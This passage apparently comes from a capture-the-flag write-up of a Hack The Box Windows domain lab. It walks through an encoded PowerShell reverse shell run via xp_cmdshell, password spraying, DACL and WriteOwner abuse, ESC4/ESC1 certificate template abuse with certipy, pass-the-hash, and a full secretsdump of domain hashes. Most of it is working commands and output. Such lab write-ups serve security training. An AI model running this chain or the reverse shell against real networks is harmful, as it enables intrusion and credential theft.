Reverse Shell

Now, there are a number of different ways to get a reverse shell here as we have command execution. I used Villian to obtain a reverse shell in this case because I want to try out some new tools.

Step#1: Fire up Villian & Generate the Payload

croc@hacker:/opt/Villain$ sudo python3 Villain.py

    ┬  ┬ ┬ ┬  ┬  ┌─┐ ┬ ┌┐┌
    └┐┌┘ │ │  │  ├─┤ │ │││
     └┘  ┴ ┴─┘┴─┘┴ ┴ ┴ ┘└┘
                 Unleashed

[Meta] Created by t3l3machus
[Meta] Follow on GitHub, X, YT: @t3l3machus
[Meta] Thank you!

[Info] Initializing required services:
[0.0.0.0:6501]::Team Server
[0.0.0.0:4443]::Reverse TCP Multi-Handler
[0.0.0.0:8080]::HoaxShell Multi-Handler
[0.0.0.0:8888]::HTTP File Smuggler

[Info] Welcome! Type "help" to list available commands.

Villain > generate payload=windows/reverse_tcp/powershell lhost=10.10.16.32 encode
Generating payload...
powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgAzADIAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
Copied to clipboard!

Step#2: Execute the Payload

I executed the above payload using xp_cmdshell:

SQL> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

SQL> xp_cmdshell powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgAzADIAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A

Step#3: Session Established

We got a reverse shell session back:

Villain >
[Shell] 0501eb-dcc6db-67c8eb - New session established -> 10.10.11.51 at 2025-01-15 00:01:56.
Villain > sessions

Session ID            IP Address   OS Type  User            Owner  Status
--------------------  -----------  -------  --------------  -----  ------
0501eb-dcc6db-67c8eb  10.10.11.51  Windows  SEQUEL\sql_svc  Self   Active

Villain > shell 0501eb-dcc6db-67c8eb

Interactive pseudo-shell activated.
Press Ctrl + C or type "exit" to deactivate.

PS C:\Windows\system32> whoami
sequel\sql_svc

Shell as Ryan

SQL Configuration File

1. I found the SQL2019 directory in the C: drive. It really looks out of place so that might be interesting to look into!

PS C:\Windows\system32> cd ../..
PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name                                             
----                -------------         ------ ----                                             
d-----        11/5/2022  12:03 PM                PerfLogs                                         
d-r---         1/4/2025   7:11 AM                Program Files                                    
d-----         6/9/2024   8:37 AM                Program Files (x86)                              
d-----         6/8/2024   3:07 PM                SQL2019                                          
d-----        1/14/2025   9:47 PM                temp                                             
d-r---         6/9/2024   6:42 AM                Users                                            
d-----         1/4/2025   8:10 AM                Windows

2. In the SQL2019 > ExpressAdv_ENU directory, I found the sql-Configuration.INI file which is the configuration file for the SQL Server setup. This file can be really juicy!

PS C:\> cd SQL2019
PS C:\SQL2019> dir


    Directory: C:\SQL2019


Mode                LastWriteTime         Length Name                                             
----                -------------         ------ ----                                             
d-----         1/3/2025   7:29 AM                ExpressAdv_ENU                                   


PS C:\SQL2019> cd ExpressAdv_ENU
PS C:\SQL2019\ExpressAdv_ENU> dir


    Directory: C:\SQL2019\ExpressAdv_ENU


Mode                LastWriteTime         Length Name                                             
----                -------------         ------ ----                                             
d-----         6/8/2024   3:07 PM                1033_ENU_LP                                      
d-----         6/8/2024   3:07 PM                redist                                           
d-----         6/8/2024   3:07 PM                resources                                        
d-----         6/8/2024   3:07 PM                x64                                              
-a----        9/24/2019  10:03 PM             45 AUTORUN.INF                                      
-a----        9/24/2019  10:03 PM            788 MEDIAINFO.XML                                    
-a----         6/8/2024   3:07 PM             16 PackageId.dat                                    
-a----        9/24/2019  10:03 PM         142944 SETUP.EXE                                        
-a----        9/24/2019  10:03 PM            486 SETUP.EXE.CONFIG                                 
-a----         6/8/2024   3:07 PM            717 sql-Configuration.INI                            
-a----        9/24/2019  10:03 PM         249448 SQLSETUPBOOTSTRAPPER.DLL

3. In the configuration file, I found a new password which is likely for user sql_svc. However, there is a possibility of this password being reused as well.

PS C:\SQL2019\ExpressAdv_ENU> Get-Content sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

Spraying the Password

I performed a password spray attack using the newly discovered password and successfully authenticated as the user ryan:

croc@hacker$ nxc smb 10.10.11.51 -u users.txt -p WqSZAF6CysDQbGb3 --continue-on-success
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [-] SEQUEL\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [+] SEQUEL\ryan:WqSZAF6CysDQbGb3 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE 
SMB         10.10.11.51     445    DC01             [+] SEQUEL\sql_svc:WqSZAF6CysDQbGb3 
SMB         10.10.11.51     445    DC01             [-] SEQUEL\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE  
SMB         10.10.11.51     445    DC01             [-] SEQUEL\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE

evil-winrm access

As ryan is a Remote Management User and the fact that port 5985/tcp is open, we can gain shell access through evil-winrm:

croc@hacker:~/HTB/Escapetwo$ evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3                     
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
sequel\ryan

User.txt

*Evil-WinRM* PS C:\Users\ryan\desktop> ls


    Directory: C:\Users\ryan\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/14/2025   9:38 PM             34 user.txt


*Evil-WinRM* PS C:\Users\ryan\desktop> type user.txt
29d62fe*************************

Shell as Root

Reviewing BloodHound Graph

Whenever you pivot to a new user, it’s always a good practice to revisit the BloodHound Graphs. I marked ryan as owned & found that it has First Degree Object Control over ca_svc with WriteOwner privilege.

This means that ryan can modify or change the owner of ca_svc user account.

Theory Time!

First Degree Object Control

Every object in AD (e.g., users, groups, computers) has a Discretionary Access Control List (DACL). This DACL contains Access Control Entries (ACEs), which define who can do what to the object.

Normally, permissions are assigned to groups rather than individual users. However, if a user is explicitly listed in the ACEs of an object, it has First Degree Object Control over that object.

First Degree Object Control allows a user or group to directly control a target object in Active Directory, such as another user, group, or computer based on the permissions assigned to it via DACL of the target object. This control is independent of group membership. Even if the user is removed from all groups, it can still control that object.

WriteOwner Permission

Assume a user bob is listed in the DACL of another user john with writeowner permission. This means that bob can change the ownership of john‘s account to themselves or another principal. Once bob owns john‘s account, they can modify the DACL of john‘s account to grant themselves additional permissions, such as Reset Password or Full Control. This can be utilized by an attacker to move laterally.

Abusing WriteOwner

Step#1: Change the Owner

I used impacket-owneredit to change the owner of ca_svc user object to ryan.

croc@hacker$ impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' -dc-ip 10.10.11.51 'sequel.htb/ryan:WqSZAF6CysDQbGb3' 2>/dev/null                       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!

Step#2: Modify the DACL

I modified the permissions for Principal ryan to have full control over ca_svc object.

croc@hacker:~$ impacket-dacledit -action write -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -dc-ip '10.10.11.51' 'sequel.htb/ryan:WqSZAF6CysDQbGb3' 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250117-100801.bak
[*] DACL modified successfully!

Step#3: Password Reset

Using bloodyAD, I changed the password for the ca_svc account.

croc@hacker:~/HTB/escape2$ bloodyAD -u 'ryan' -p 'WqSZAF6CysDQbGb3' -d 'sequel.htb' --host '10.10.11.51' set password 'ca_svc' 'Pass@1234'                                           
[+] Password changed successfully!

Step#4: Verifying the Change

The password reset was verified using nxc. Hence, we have full control over the ca_svc account.

However, note that there might be a scheduled task that resets everything because the authentication failed upon trying again after some time. So, repeat the above steps to change the password again when needed.

Way Forward

BloodHound

After owning the ca_svc account, I found that the ca_svc account is the part of the Cert Publishers Group.

According to Microsoft, this group:

Members of the Cert Publishers group are authorized to publish certificates for User objects in AD.

The documentation isn’t really clear but this necessarily means that the members of this group have write access to the userCertificate attribute of users and computers.

💡 Think Box

The username ca_svc is not a coincidence, we’re certainly meant to enumerate Active Directory Certificate Services (ADCS) as a Privilege Escalation path.

Enumerating AD CS

Identify AD CS

A quick way to verify the presence of AD CS is using netexec(works both for ryan and ca_svc):

croc@hacker:~$ nxc ldap 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3 -M adcs
LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 
ADCS        10.10.11.51     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.51     389    DC01             Found PKI Enrollment Server: DC01.sequel.htb
ADCS        10.10.11.51     389    DC01             Found CN: sequel-DC01-CA

It finds the same CA as we found in our nmap scan, confirming the presence of AD CS.

Identify Vulnerable Template

I used certipy-ad to enumerate the enabled and vulnerable certificate templates with the password of Pass@1234 we set above for ca_svc:

croc@hacker$ certipy-ad find -u 'ca_svc' -p 'Pass@1234' -dc-ip 10.10.11.51 -enabled -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250116105636_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250116105636_Certipy.txt'
[*] Saved JSON output to '20250116105636_Certipy.json'

A template named DunderMifflinAuthentication was detected of being vulnerable to ESC4 vulnerability:

croc@hacker$ cat 20250116105636_Certipy.txt
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

Abusing ESC4

ESC4

To Summarize the ESC4 vulnerability:

1. ESC4 is when a user or a group has write privileges over a certificate template. ca_svc is the user in this case that has write privileges to the DunderMifflinAuthentication certificate template.

2. This, for instance, allows the user to overwrite the configuration of the certificate template to make the template vulnerable to ESC1. This is done by by enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bit in the mspki-certificate-name-flag property.

3. Now being vulnerable to ESC1, we can set an arbitrary SAN and request a certificate as the administrative user.

You can read more below:

Certified Pre-Owned. Active Directory Certificate Services… | by Will Schroeder | Posts By SpecterOps Team Members
TL;DR Active Directory Certificate Services has a lot of attack potential! Check out our whitepaper “Certified Pre-Owned: Abusing Active Directory Certificate Services” for complete details. We’re…
posts.specterops.io

Certipy/README.md at main · ly4k/Certipy · GitHub
Tool for Active Directory Certificate Services enumeration and abuse – Certipy/README.md at main · ly4k/Certipy
github.com

Step#1: ESC4 to ESC1

The tool certipy-ad will do that for us by default. The -save-old parameter allows to save the old configuration, which is useful for restoring the configuration afterwards.

croc@hacker$ certipy-ad template -u 'ca_svc' -password 'Pass@1234' -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Now, if I enumerate the certificate templates again, I found the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT to be true making it vulnerable to ESC1:

croc@hacker:~/HTB/Escapetwo/CS$ cat 20250302015847_Certipy.txt | grep 'Enrollee Supplies Subject'
    Enrollee Supplies Subject           : True

Step#2: Request the Certificate as Administrator

We can now specify an arbitrary SAN as Administrator@sequel.htb using the -upn flag and request a certificate as the administrative user:

croc@hacker$ certipy-ad req -u 'ca_svc' -p 'Pass@1234' -dc-ip '10.10.11.51' -template 'DunderMifflinAuthentication' -upn 'Administrator@sequel.htb' -ca 'sequel-DC01-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 26
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Step#3: Authenticate with Domain Admin Certificate

We authenticated using the admin certificate and got his NTLM Hash:

croc@hacker$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Step#4: Revert the Changes

Although there is a scheduled task which resets everything but still we can see how we can restore the old configuration of the certificate template:

croc@hacker:~$ certipy-ad template -u 'ca_svc' -p 'Pass@1234' -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -configuration DunderMifflinAuthentication.json
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Evil-WinRM as Administrator

croc@hacker$ sudo evil-winrm -i 10.10.11.51 -u 'Administrator' -H 7a8d4e04986afa8ed4060f75e5a0b3ff                                 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                                   
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

You can also use psexec if you would like to:

croc@hacker$ impacket-psexec administrator@10.10.11.51 -hashes aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.51.....
[-] share 'Accounting Department' is not writable.
[*] Found writable share ADMIN$
[*] Uploading file EDYbflMh.exe
[*] Opening SVCManager on 10.10.11.51.....
[*] Creating service Ivmh on 10.10.11.51.....
[*] Starting service Ivmh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

root.txt

*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


    Directory: C:\Users\Administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/17/2025   4:41 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
54f6209*************************

Post Root

NTDS.dit

I dumped the ntds.dit using secretsdump:

croc@hacker$ impacket-secretsdump administrator@10.10.11.51 -hashes aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x07057881f4c9d60499fd59bba9ae4929
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
SEQUEL\DC01$:aes256-cts-hmac-sha1-96:cb5c43b6d92bb097d345a545f324f9caa4d6ef91c2f0267ecfc7ed76546a9df3
SEQUEL\DC01$:aes128-cts-hmac-sha1-96:eef978409ad7a2a86eef37f48de21850
SEQUEL\DC01$:des-cbc-md5:a892b025a1684ad9
SEQUEL\DC01$:plain_password_hex:799d42a4c9050c328e8bbdb7b93568b68c2b048291ccac285099a2029e7b37203a70ee818c14657a0048716ce61598e844de25b002668bf9b304071dbe5b681f8afb6b981f7ace9727b8dc45c4463f3be8ccbe7e8fd2948d677dc03ed85e5f6e903834c1c228969f7030294347ec4c57f6319edabb47b0efb564aba7f5f195e9a6815bb27fd69a4cf235d4df93f2c34a79978ade6e068c7e7e46eb1129a9e67dff6dfea58a354e6627309facd710b354fb66dcea17c845604bae941ce39fc49a3af7dc3d14bdc16d7f9c56ce9ef6243144c7ee18cf4664e5003a6c86073811a7866e70b130134934b09abd09a7964390
SEQUEL\DC01$:aad3b435b51404eeaad3b435b51404ee:66ad063789d27b459aeaf39372dc628a:::
[*] DefaultPassword 
SEQUEL\Administrator:n3KuDVzUicepJ0Bm
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x38bfbe5761658576a78af7d4c26e7a8a1422848a
dpapi_userkey:0x3adfe88507630dfd1f8a91a579d015f2427d1016
[*] NL$KM 
 0000   D4 CD C5 D0 C1 CB 45 04  6C EA 54 2E 91 E1 C3 2D   ......E.l.T....-
 0010   88 26 C2 04 00 30 F1 16  71 C1 DE A5 19 96 71 E2   .&...0..q.....q.
 0020   BB C7 38 D7 A4 25 6E 36  F0 2C 68 85 38 3E FD B1   ..8..%n6.,h.8>..
 0030   7E 3C 11 DC 3A 56 41 DC  6A 8F 32 D3 A3 F4 D8 5F   ~<..:VA.j.2...._
NL$KM:d4cdc5d0c1cb45046cea542e91e1c32d8826c2040030f11671c1dea5199671e2bbc738d7a4256e36f02c6885383efdb17e3c11dc3a5641dc6a8f32d3a3f4d85f
[*] _SC_MSSQL$SQLEXPRESS 
SEQUEL\sql_svc:WqSZAF6CysDQbGb3
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1acb6bdf708cb2e0b6802e77649e55cc:::
sequel.htb\michael:1103:aad3b435b51404eeaad3b435b51404ee:cafe5ec3c162eaf0d46e3013b0d71dba:::
sequel.htb\ryan:1114:aad3b435b51404eeaad3b435b51404ee:b9b72edb319dce49b5da313e71491133:::
sequel.htb\oscar:1116:aad3b435b51404eeaad3b435b51404ee:97504ea3a7ca31b7d91e26ef82e3e383:::
sequel.htb\sql_svc:1122:aad3b435b51404eeaad3b435b51404ee:b9b72edb319dce49b5da313e71491133:::
sequel.htb\rose:1601:aad3b435b51404eeaad3b435b51404ee:0e0b8e0b06c681da8c3f1f17e53a4a56:::
sequel.htb\ca_svc:1607:aad3b435b51404eeaad3b435b51404ee:3b181b914e7a9d5508ea1e20bc2b7fce:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:66ad063789d27b459aeaf39372dc628a:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:968abd11086022e97f88b30a22b0053b8ea85ba3ec7219073b2348412befd4a7
Administrator:aes128-cts-hmac-sha1-96:89e80e336f0e4e6cfc86bd492c6cad83
Administrator:des-cbc-md5:b0a4ad1a98311334
krbtgt:aes256-cts-hmac-sha1-96:fb9766744ab94559541847d2984c9831c815992e1070309a5cbc88c76b56f0cd
krbtgt:aes128-cts-hmac-sha1-96:f365950f1fe180450832470e1695d44c
krbtgt:des-cbc-md5:5db9c2fd578a1cd3
sequel.htb\michael:aes256-cts-hmac-sha1-96:e93493d0476db7d001d5f3b2ae25595b602bedc7108eaced0044748f6413a860
sequel.htb\michael:aes128-cts-hmac-sha1-96:8b8a6f85d95763c9c3fd721e8e33a270
